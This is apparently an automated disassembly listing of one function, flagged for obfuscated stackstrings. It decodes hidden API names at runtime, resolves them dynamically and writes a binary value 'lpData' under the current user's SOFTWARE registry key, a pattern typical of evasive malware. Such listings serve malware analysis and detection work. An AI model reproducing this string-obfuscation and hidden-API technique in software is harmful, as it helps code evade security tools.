Function at 0x4025d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x4025d0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1f0
mov rdi, rsp
movabs rcx, 0x7c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x200]
mov rax, qword [0x00492070]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x58], 4
mov byte [rsp + 0x59], 7
mov byte [rsp + 0x5a], 0x2a
mov byte [rsp + 0x5b], 0xb
mov byte [rsp + 0x5c], 0
mov byte [rsp + 0x5d], 0x26
mov byte [rsp + 0x5e], 0x38
mov byte [rsp + 0x5f], 0x29
mov byte [rsp + 0x60], 0x28
mov byte [rsp + 0x61], 0x3d
mov byte [rsp + 0x62], 0x35
mov byte [rsp + 0x63], 0x3b
mov byte [rsp + 0x64], 0x17
mov byte [rsp + 0x65], 0
mov byte [rsp + 0x84], 0x56
mov byte [rsp + 0x85], 0x62
mov byte [rsp + 0x86], 0x4d
mov byte [rsp + 0x87], 0
mov byte [rsp + 0xa4], 0x44
mov byte [rsp + 0xa5], 0x70
mov byte [rsp + 0xa6], 0x43
mov byte [rsp + 0xa7], 0
lea rax, [rsp + 0x120]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x84]
mov r8d, 0xd
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x150]
call fcn.00401069
mov qword [rsp + 0x1c8], rax
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x200]
call fcn.0040118b
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWARE
mov rcx, 0xffffffff80000001
call rax
mov byte [rsp + 0xc8], 4
mov byte [rsp + 0xc9], 7
mov byte [rsp + 0xca], 0x2a
mov byte [rsp + 0xcb], 0x17
mov byte [rsp + 0xcc], 0x15
mov byte [rsp + 0xcd], 0x37
mov byte [rsp + 0xce], 0
mov byte [rsp + 0xcf], 3
mov byte [rsp + 0xd0], 0x21
mov byte [rsp + 0xd1], 0x31
mov byte [rsp + 0xd2], 0x15
mov byte [rsp + 0xd3], 6
mov byte [rsp + 0xd4], 0x2e
mov byte [rsp + 0xd5], 0x23
mov byte [rsp + 0xd6], 0
lea rax, [rsp + 0x158]
mov qword [rsp + 0x188], rax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x84]
mov r8d, 0xe
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0x188]
call fcn.00401069
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x200]
call fcn.0040118b
mov rcx, qword [rsp + 0x208]
mov ecx, dword [rcx + 8]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x208]
mov rcx, qword [rcx]
mov qword [rsp + 0x20], rcx
mov r9d, 3
xor r8d, r8d
lea rdx, str.lpData
mov rcx, qword [rsp + 0x38]
call rax
test eax, eax
je 0x402829
xor eax, eax
jmp 0x4028f2
mov byte [rsp + 0xf8], 4
mov byte [rsp + 0xf9], 7
mov byte [rsp + 0xfa], 0x2a
mov byte [rsp + 0xfb], 7
mov byte [rsp + 0xfc], 0x1c
mov byte [rsp + 0xfd], 0x2c
mov byte [rsp + 0xfe], 0x25
mov byte [rsp + 0xff], 7
mov byte [rsp + 0x100], 6
mov byte [rsp + 0x101], 0x21
mov byte [rsp + 0x102], 9
mov byte [rsp + 0x103], 0
lea rax, [rsp + 0x190]
mov qword [rsp + 0x1c0], rax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x84]
mov r8d, 0xb
lea rdx, [rsp + 0xf8]
mov rcx, qword [rsp + 0x1c0]
call fcn.00401069
mov qword [rsp + 0x1d8], rax
mov rdx, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x200]
call fcn.0040118b
mov rcx, qword [rsp + 0x38]
call rax
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x0047b740]
call fcn.00409610
mov rax, rdi
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.004095f0
add rsp, 0x1f0
pop rdi
ret